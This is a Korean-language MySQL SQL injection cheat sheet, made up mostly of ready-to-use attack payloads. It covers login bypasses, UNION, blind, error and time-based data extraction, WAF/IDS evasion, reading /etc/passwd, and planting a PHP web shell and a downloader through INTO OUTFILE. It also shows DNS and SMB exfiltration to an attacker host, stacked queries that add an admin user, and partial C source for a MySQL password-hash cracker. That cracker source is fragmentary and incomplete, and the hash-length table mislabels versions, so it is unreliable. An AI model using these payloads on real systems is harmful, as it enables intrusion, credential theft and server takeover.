MySQL Injection Cheat Sheet

기본 데이터베이스

mysql	ROOT 권한을 요구합니다.
information_schema	MySQL 버전 5 이상 해당합니다.

주의사항

• 다음 내용은 웹 브라우저에서 직접 변수의 값을 수정하거나 프록시를 이용해서 값을 전달할 때 반드시 적용해야 합니다.

&, =	두 문자 모두 HTTP 쿼리 문자열과 POST 데이터에서 이름과 변수의 쌍을 연결할 때 사용합니다. 해당 문자들을 인젝션 구문에 사용하기 위해서는 각각 %26 과 %3d 로 인코딩 해야합니다.
(SPACE)	일반적으로 인젝션 구문에서 스페이스를 포함하고 있으면 스페이스 앞에서 공격 구문을 종료합니다. 따라서 스페이스는 %20 으로 인코딩 해야합니다.
+	URL 인코딩 시 빈 칸(SPACE)으로 사용하기 때문에 문자 + 를 인젝션 구문에 사용하기 위해서는 %2b 로 인코딩 해야합니다.
;	세미콜론은 쿠키 필드에서 구분 문자로 사용하기 때문에 %3b 로 인코딩 해야합니다.

인젝션 테스트

• TRUE / FALSE 는 올바른 쿼리인지 아닌지를 의미합니다.

1) 문자열

• 싱글 쿼터(SINGLE QUOTE, ') 또는 쿼터(QUOTE, “)가 짝으로 구성된 경우 원하는 만큼 입력이 가능합니다.
• 예제와 같이 짝으로 구성된 여러 개의 쿼터 뒤에도 SQL 구문을 연결해 나가는 것이 가능합니다.

SELECT * FROM Table WHERE id = '1';	
	에러 발생
'	-
"	에러 발생
""	-
\	에러 발생
\\	-

SELECT * FROM Articles WHERE id = '1'"';
SELECT 1 FROM dual WHERE 1 = '1'"'"'"'"'"'"'"'"'UNION SELECT '2';

2) 숫자

• TRUE 는 1 과 같습니다.
• FALSE 는 0 과 같습니다.

SELECT * FROM Table WHERE id = 1;	
1 AND 1	TRUE
1 AND 0	FALSE
1 AND true	TRUE
1 AND false	FALSE
1-false	취약할 경우 1 을 반환합니다.
1-true	취약할 경우 0 을 반환합니다.
65-0	취약할 경우 65 을 반환합니다.
65 - (SELECT ASCII('A'))	취약할 경우 0 을 반환합니다.
1*56	취약할 경우 56 을 반환합니다.
1*56	취약하지 않은 경우 1 을 반환합니다.
SELECT * FROM Users WHERE id = 3-2;	

3) 로그인 시

SELECT * FROM Table WHERE username = ';
OR '1
OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
='
LIKE'
=0--+
SELECT * FROM Users WHERE username = 'Mike' AND password = " OR " = ";

주석

• 다음에 오는 문자들은 인젝션 구문에서 주석을 나타냅니다.
• BACKTICK(`) 의 경우 별칭(ALIAS)으로서 쿼리를 종료하는데 사용할 수 있습니다.

#	Hash
/*	C-스타일 주석
-- -	SQL 주석
;%00	Null 값
`	Backtick
SELECT * FROM Users WHERE username = admin;#	
SELECT * FROM Users WHERE username = " OR 1=1 -- -' AND password = ";	

SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3``;
SEL/**/ECT * FR/**/OM Users WH/**/ERE id = '' UN/**/ION SEL/**/ECT 1, 2, 3``;

버전 테스트

• 윈도우 기반 DBMS 에서의 출력 결과는 -NT-LOG 를 포함할 것입니다.

VERSION()
@@VERSION
@@GLOBAL.VERSION
SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';

/*!버전 특정 코드*/

• 버전 특정 코드는 인젝션 위치에서 더 이상 SQL 구문을 추가할 수 없을 때 DBMS 버전 정보를 확인하는 데 유용합니다.

SELECT * FROM Users limit 1,{INJECTION POINT};	
1 /*!50094eaea*/;	버전이 5.00.94 와 같거나 큰 경우 FALSE
1 /*!50096eaea*/;	버전이 5.00.96 보다 작을 경우 TRUE
1 /*!50095eaea*/;	버전이 5.00.95 일 경우 FALSE

데이터베이스 자격 증명

사용자 정보를 포함한 테이블 이름(경로)	mysql.user
사용자 정보를 포함한 컬럼 이름	user, password
현재 사용자 관련 함수	user(), current_user(), current_user, system_user(), session_user()
SELECT current_user;	
SELECT * FROM 'user' WHERE 1 LIMIT 0,30;	
SELECT * FROM mysql.user WHERE 1 LIMIT 1,1;	
SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user 'root' (권한 필요)	

데이터베이스 이름

테이블 이름 (경로)	information_schema.schemata, mysql.db
컬럼 이름	schema_name, db
현재 사용 중인 DB 관련 함수	database(), schema()
SELECT database();	
SELECT schema_name FROM information_schema.schemata;	

SELECT schema_name FROM information_schema.schemata LIMIT 1,1;
SELECT DISTINCT(db) FROM mysql.db;-- (권한 필요)

서버 호스트 이름

@@HOSTNAME
SELECT @@HOSTNAME;

서버 MAC 주소

UUID()	aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee; • DBMS 가 설치된 OS 의 MAC 주소 대신 48-BIT 무작위 문자열을 반환할 수도 있습니다.

테이블(Tables)과 컬럼(Columns)

1) 컬럼 개수 파악

Order/Group By

GROUP/ORDER BY n+1;

• FALSE 응답을 받을때까지 N 값을 증가시켜야 합니다.
• GROUP BY 와 ORDER BY 는 SQL 구문 상 서로 다른 기능을 가지고 있음에도, 두 절 모두 컬럼 개수를 파악하는데에는 동일한 방법으로 사용합니다.

SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}';		
n=0	1' ORDER BY 1--+	TRUE
n=1	1' ORDER BY 2--+	TRUE
n=2	1' ORDER BY 3--+	TRUE
n=3	1' ORDER BY 4--+	FALSE - Query 에 오직 세 개의 Column 만 사용한다는 것을 뜻합니다.
n=2	-1' UNION SELECT 1,2,3--+	TRUE

에러 기반(Error Based)으로 알아내기

GROUP/ORDER BY 1,2,3,4,5...

• 애플리케이션이 에러를 노출하는 경우 REQUEST 하나로 컬럼 수를 알 수 있습니다.

SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}'	
1' GROUP BY 1,2,3,4,5--+	Unknown column '4' in 'group statement'
1' ORDER BY 1,2,3,4,5--+	Unknown column '4' in 'order clause'

에러 기반으로 알아내기 2

SELECT ... INTO var_list, var_list1, var_list2...

• 이 방법은 애플리케이션이 에러를 노출하는 경우에 사용할 수 있습니다.

• @ 의 개수를 줄이거나 늘려가면서 에러 메시지를 통해 컬럼 개수를 파악합니다.
• 두 번째 예제는 LIMIT 절 다음에 오는 인젝션 위치에서 컬럼 개수를 파악하는 방법을 보여줍니다.

SELECT permission FROM Users WHERE id = {INJECTION POINT};	
-1 UNION SELECT 1 INTO @,@,@	The used SELECT statements have a different number of columns (에러 메시지)
-1 UNION SELECT 1 INTO @,@	The used SELECT statements have a different number of columns (에러 메시지)
-1 UNION SELECT 1 INTO @	에러를 노출하지 않는 경우 컬럼 개수는 1 입니다.
SELECT username, permission FROM Users limit 1,{INJECTION POINT};	
1 INTO @,@,@	The used SELECT statements have a different number of columns (ERROR 메시지)
1 INTO @,@	에러를 노출하지 않는 경우 컬럼 개수는 2 입니다.

에러 기반으로 알아내기 3

```
AND (SELECT * FROM SOME_EXISTING_TABLE) = 1
```

• 이 방법은 애플리케이션이 에러를 노출하고 테이블 이름을 알고 있는 경우 사용합니다.
• 이 방법은 테이블 내 컬럼 개수를 반환합니다.

SELECT permission FROM Users WHERE id = {INJECTION POINT};	
1 AND (SELECT * FROM Users) = 1	Operand should contain 3 column(s)

2) 테이블 이름 가져오기

UNION

• VERSION=10 은 MYSQL 5 에서 사용합니다.
• GROUP_CONCAT() 은 테이블 내 다수의 열을 특정 조건하에 병합합니다.

```
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;
```

BLIND

• SUBSTR('문자열', X, Y) 함수는 문자열의 X 번째 위치에서부터 Y 개의 문자(X 포함)를 반환하는 함수입니다.
• 위 SQLI 는 테이블 이름의 첫 문자가 A 보다 큰 문자인지 비교하는 구문입니다. (A=65, Z=90, a=97, z=112)

```
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
```

ERROR

```
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2)))
```

```
(@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0);
```

```
AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));--
```

• MYSQL V5.1.5 에서 가능합니다.

3) 컬럼 이름 가져오기

UNION

```
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns
WHERE table_name = 'tablename'
```

BLIND

```
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
```

ERROR

```
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x
GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT
1),FLOOR(RAND(0)*2)))
```

```
(@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM
information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0);
```

```
AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM
information_schema.columns LIMIT 1)));—
```

- **MYSQL V5.1.5 에서 가능합니다.**

```
AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)--
```

- **MYSQL V5.1 에서 수정되었습니다.**

```
AND (SELECT * FROM (SELECT * FROM SOME_EXISTING_TABLE JOIN
SOME_EXISTING_TABLE b) a)
```

```
AND (SELECT * FROM (SELECT * FROM SOME_EXISTING_TABLE JOIN
SOME_EXISTING_TABLE b USING (SOME_EXISTING_COLUMN)) a)
```

PROCEDURE ANALYSE() 함수

- **SQLI 구문 내에서 선택한 컬럼 중 하나의 이름을 얻어야 할 때 유용합니다**

SELECT username, permission FROM Users WHERE id = 1;	
1 PROCEDURE ANALYSE()	첫 번째 컬럼의 이름을 반환합니다.
1 LIMIT 1,1 PROCEDURE ANALYSE()	두 번째 컬럼의 이름을 반환합니다.
1 LIMIT 2,1 PROCEDURE ANALYSE()	세 번째 컬럼의 이름을 반환합니다.

4) N 번째 컬럼 정보 가져오기

```
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
```

- **USER 테이블의 0 번째 행의 컬럼 정보를 가져옵니다.**

5) 다수의 테이블 이름 한번에 가져오기

```
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns)
WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ]
>',table_name,' > ',column_name))))x
```

입력

```
SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM
(SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE
(table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' >
',column_name))))x), 4--+';
```

결과

```
[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED
```

6) 다수의 컬럼 이름 한번에 가져오기

```
SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name,
0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM
information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM
information_schema.columns
```

입력

```
SELECT username FROM Users WHERE id = '-1' UNION SELECT
MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e,
0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM
information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM
information_schema.columns--+';
```

결과

```
Table: talk_revisions
Column: revid

Table: talk_revisions
Column: userid

Table: talk_revisions
Column: user

Table: talk_projects
Column: priority
```

7) 컬럼 이름에서 테이블 이름 검색

`SELECT table_name FROM information_schema.columns WHERE column_name = 'username';`	username 컬럼의 테이블 이름을 검색합니다.
`SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';`	user 라는 단어를 포함한 이름을 가진 컬럼의 테이블 이름을 검색합니다.

8) 테이블 이름에서 컬럼 이름 검색

SELECT column_name FROM information_schema.columns WHERE table_name = 'Users';	Users 테이블 내 컬럼 이름을 검색합니다.
SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%';	user 라는 단어를 포함한 이름을 가진 테이블 내 Column의 이름을 검색합니다.

문자열 조작 - 퍼징(Fuzzing) - 난독화(Obfuscation)

1) 쿼터 필터링(Filtering) 우회

SELECT * FROM Users WHERE username = 0x61646D696E	Hex 인코딩을 사용합니다.
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)	CHAR() 함수를 사용하여 ASCII 코드로 변경합니다. • **SELECT CHAR(65); # A를 반환합니다.**

2) 문자열 연결

- **두 개의 싱글 쿼터 사이에 빈 칸이 있습니다.**
- **문자열 필터링을 우회하는 데 사용합니다.**
- **CONCAT() 함수는 매개변수 중 하나라도 NULL 이 존재하는 경우 NULL 을 반환합니다.**
- **CONCAT_WS()의 첫 번째 매개변수는 나머지에 대한 구분 기호(위에서는 NULL)를 정의합니다.**

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

3) 데이터베이스에서 허용하는 문자 사용

- **다음 문자는 문자 사이 간격을 조정하는데 사용할 수 있습니다.**

%09	수평 탭
%0A	개행
%0B	수직 탭
%0C	새 페이지
%0D	입력(커서)을 행의 시작으로 이동 (Carriage Return)
%A0	NBSP(Non-Breaking Space)
%20	스페이스
%0A%09UNION%0CSELECT%A0NULL%20%23	

- **괄호는 스페이스 대신 사용할 수 있습니다.**

UNION(SELECT(column)FROM(table))

• AND/OR 다음에 아래 문자들을 사용할 수 있습니다.
• DUAL 은 테스트를 위해 사용하는 더미 테이블 입니다.

%20	Space
%2B	+
%2D	-
%7E	~
%21	!
%40	@

```
SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
```

• # 또는 -- 뒤에 개행을 하여 별도의 행으로 쿼리를 분할합니다.
• 이 방법은 WAF/IDS 의 탐지를 우회할 수 있습니다.

입력
1'# AND 0-- UNION# I am a comment! SELECT@tmp:=table_name x FROM-- `information_schema`.tables LIMIT 1#
데이터베이스에 전달되는 쿼리
1'%23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23

• 함수에 대해 공백과 주석으로 난독화할 수 있습니다.

```
VERSION/**/%A0 (/*comment*/)
```

4) 인코딩 (Encodings)

• 인젝션 구문을 인코딩함으로써 WAF/IDS 를 우회 가능성이 존재합니다.

URL 인코딩	SELECT %74able_%6eame FROM information_schema.tables;
더블 URL 인코딩 • %25 뒤에 실제 사용할 값을 붙여넣기 합니다.	SELECT %2574able_%256eame FROM information_schema.tables;
유니코드 인코딩	SELECT %u0074able_%u6eame FROM information_schema.tables;
잘못된 Hex 인코딩 (ASP)	SELECT %tab%le_%na%me FROM information_schema.tables;

5) 키워드 기반 필터링(Filtering) 우회

• IDS/WAF 특정 키워드를 필터링하고 있을 때 인코딩하지 않고 이를 우회할 수 있습니다.

키워드: information_schema.tables	
대소문자 변경	InFoRMaTIOn_SCHema.TAbLeS
스페이스	information_schema . tables

키워드: information_schema.tables	
주석 사용	inf/**/or/**/ma/**/tion_sch/**/em/**/a.ta/**/bles
Backtick(`)	`information_schema`.`tables`
MySQL 특정 코드화	/*!information_schema.tables*/
대체 테이블 이름 사용 • 대체 이름은 테이블 내 기본 키(PRIMARY KEY)에 따라 달라질 수 있습니다.	information_schema.partitions information_schema.statistics information_schema.key_column_usage information_schema.table_constraints

시간 지연

SLEEP() - MySQL 5
?ProductID=-99 OR IF((ASCII(MID(({INJECTON POINT}),1,1)) = 100),SLEEP(14),1) = 0 LIMIT 1— • MID() 함수로 받은 문자가 d 일 때, 서버로부터 응답이 14 초 지연되며 d 가 아닐 경우 1 초가 지연됩니다.

BENCHMARK() - MySQL 4/5
- (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - ‘ • MySQL 버전이 5 일때, 문자열 true 를 SHA1 으로 100000 번 암호화 합니다.

• MID(‘문자열’, X, Y) 함수는 문자열의 X 번째 위치에서부터 Y 개의 문자(X 포함)를 반환합니다.

권한

파일 권한

• 다음 쿼리는 특정 사용자에 대한 파일 권한을 확인하는 데 도움이 될 수 있습니다.

SELECT file_priv FROM mysql.user WHERE user = ‘username’; • ROOT 권한이 필요합니다.	MySQL 4/5
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like ‘%username%’; • ROOT 권한이 필요하지 않습니다.	MySQL 5

파일 읽기

• 사용자에게 파일 권한(FILE PRIVILEGES)이 있는 경우 쿼리를 통해 파일을 읽을 수 있습니다.
• 해당 파일은 서버 호스트에 반드시 존재하고 있어야 합니다.
• LOAD_FILE() 함수의 기본 디렉터리는 @@datadir 입니다.
• 해당 파일은 MySQL 사용자가 읽을 수 있어야 합니다.
• 해당 파일 크기는 패킷의 최대 허용 크기 보다 작아야 합니다.
• @@max_allowed_packet 의 기본 값은 1047552 바이트 입니다.

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);

파일 쓰기

• 사용자에게 파일 권한(FILE PRIVILEGES)이 있는 경우 쿼리를 통해 파일을 생성할 수 있습니다.
• 파일 쓰기 시 덮어쓰기 할 수 없습니다.
• INTO OUTFILE 절은 쿼리의 마지막 구문으로 사용해야 합니다.
• INTO OUTFILE 절은 파일 내에 임의의 쿼리 결과를 내보낼 때 사용합니다.

• 파일 경로를 인코딩할 방법이 없으며, 쿼터를 사용해야 합니다.

PHP 쉘(Shell) 생성	SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
쉘을 통한 파일 접근	http://localhost/shell.php?c=cat%20/etc/passwd
다운로더(Downloader) 생성	SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'
다운로더로 파일 다운로드	http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt

Out Of Band 채널링(Channeling)

• SQLI 구문 실행 후 데이터베이스로부터 얻은 임의의 데이터를 공격자 자신의 컴퓨터로 전송하기 위해 데이터베이스의 내장된 기능을 이용하는 방법입니다.
• DNS 서버 및 SMB 서버를 구성하고 있어야 합니다.
• SQLI 의 실행 결과를 애플리케이션이 노출하지 않을 때 사용합니다.

DNS 요청 이용

SELECT LOAD_FILE(CONCAT('\\\\', (select MID(version(),1,1)), 'yourhost.com'));
• 공격자 DNS 서버 YOURHOST.COM 에 NBNS 쿼리 또는 DNS RESOLUTION 요청을 전달합니다.

SMB Request 이용

OR 1=1 INTO OUTFILE '\\\\yourhost.com\\SMBshare\\output.txt
• 공격자 YOURHOST.COM 서버에 존재하는 SMB 공유 폴더 내 OUTPUT.TXT 파일에 쿼리의 결과를 저장합니다.

스택 쿼리(Stacked Queries)

• PHP 애플리케이션이 MySQL 의 데이터베이스와 커뮤니케이션할 때 사용하는 드라이버를 통해 스택 쿼리 구현이 가능합니다.
• 스택 쿼리를 지원하는 대표적인 드라이버로 PDO_MYSQL 이 있습니다. MySQLi 확장 드라이버 또한 multi_query() 함수를 통해 이를 지원합니다.

SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin');

SELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;

MySQL 버전 특정 코드

• MYSQL 은 느낌표 다음에 특정 코드를 입력함으로써 버전을 지정할 수 있는 기능이 존재합니다. 주석 내 구문은 현재 MYSQL 의 버전이 특정 코드로 지정한 버전보다 크거나 동일한 경우에만 실행합니다.

UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null—+
• 두 개의 컬럼을 이용한 UNION 절을 사용해 버전 정보를 반환합니다.

SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
• WAF/IDS 를 우회하는 유용한 방법입니다.

조건부 구문

함수	예제
CASE	SELECT CASE WHEN 1=1 THEN true ELSE false END; • TRUE 를 반환합니다. SELECT user() CASE WHEN 'root@localhost' THEN true ELSE false END; • 현재 사용자가 ROOT 면 TRUE 를 반환합니다.

함수	예제
IF()	SELECT IF(1=1, true, false); • **TRUE 를 반환합니다.** SELECT IF(user()='root@localhost','true','false'); • **현재 사용자가 ROOT 면 TRUE 를 반환합니다.**
IFNULL()	SELECT IFNULL(price, 0) from goods; • **PRICE 가 NULL 이 아니면 0 을 반환합니다.**
NULLIF()	SELECT NULLIF(price, 0) from goods; • **PRICE 가 0 과 같으면 NULL 을 반환합니다.**
IN()	SELECT price IN(1000, 2000, 3000) from goods; • **1000, 2000, 3000 중 PRICE 값이 존재하는 경우 1 아니면 0 을 반환합니다.**
1/0	SELECT 1/0 FROM dual (SELECT username FROM all_users WHERE username = 'admin') = ''admin' • **ALL_USERS 테이블 내 ADMIN 이 존재하면 에러가 발생합니다.**

상수

current_user
null, \N
true, false

패스워드 해싱(Hashing)

버전	PASSWORD() 함수 계산 방식	입력	결과
MySQL 버전 > 4.1	16 바이트 LONG	PASSWORD('mypass')	6f8c114b58f2ce9e
MySQL 버전 ≤ 4.1	41 바이트		*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4

패스워드 크래킹(Cracking) 도구

도구	URL
Cain & Abel	http://www.oxid.it/cain.html
John the Ripper	http://www.openwall.com/john/
Metasploit 모듈 JTR	http://www.metasploit.com/modules/auxiliary/analyze/jtr_mysql_fast

MySQL < 4.1 패스워드 크래커

- **다음 소스 코드는 MYSQL 의 해시 암호를 크랙하기 위한 고속 무차별 암호 대입 방식의 크래커입니다. 이 도구는 일반 PC 에서 모든 인쇄 가능한 ASCII 문자를 포함하는 8 자 암호를 몇 시간 만에 깰 수 있습니다.**

```
/* This program is public domain. Share and enjoy.
 *
 * Example:
 * $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
 * $ MySQLfast 6294b50f67eda209
 * Hash: 6294b50f67eda209
 * Trying length 3
 * Trying length 4
 * Found pass: barf
 *
 * The MySQL password hash function could be strengthened considerably
 * by:
 * - making two passes over the password
 * - using a bitwise rotate instead of a left shift
 * - causing more arithmetic overflows
 */

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
  int i, c;
  u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
  u32 newstate1, newstate2, newstate3;
  u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
  u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
  i = -1;
  sum = 7;
  state1_ary[0] = 1345345333L;
  state2_ary[0] = 0x12345671L;
```

```
      while (1) {
        while (i < stop) {
          i++;
          pass_ary[i] = MIN_CHAR;
          step_ary[i] = (state1_ary[i] & 0x3f) + sum;
          xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
          sum += MIN_CHAR;
          state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
          state2_ary[i+1] = state2_ary[i]
            + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
        }

        state1 = state1_ary[i+1];
        state2 = state2_ary[i+1];
        step = (state1 & 0x3f) + sum;
        xor1 = step*MIN_CHAR + (state1 << 8);
        xor2 = (state2 << 8) ^ state1;

        for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
          newstate2 = state2 + (xor1 ^ xor2);
          newstate1 = state1 ^ xor1;

          newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
          div = (newstate1 & 0x3f) + sum + c;
          diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
          if (diff % div != 0) continue;
          d = diff / div;
          if (d < MIN_CHAR || d > MAX_CHAR) continue;

          div = (newstate3 & 0x3f) + sum + c + d;
          diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
          if (diff % div != 0) continue;
          e = diff / div;
          if (e < MIN_CHAR || e > MAX_CHAR) continue;

          pass_ary[i+1] = c;
          pass_ary[i+2] = d;
          pass_ary[i+3] = e;
          return 1;
        }
```

```
        while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
          sum -= MAX_CHAR;
          i--;
        }
        if (i < 0) break;
        pass_ary[i]++;
        xor_ary[i] += step_ary[i];
        sum++;
        state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
        state2_ary[i+1] = state2_ary[i]
                + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
```

```
int main(int argc, char *argv[])
{
  int i;
  if (argc <= 1)
    printf("usage: %s hash\n", argv[0]);
  for (i = 1; i < argc; i++)
    crack(argv[i]);
  return 0;
}
```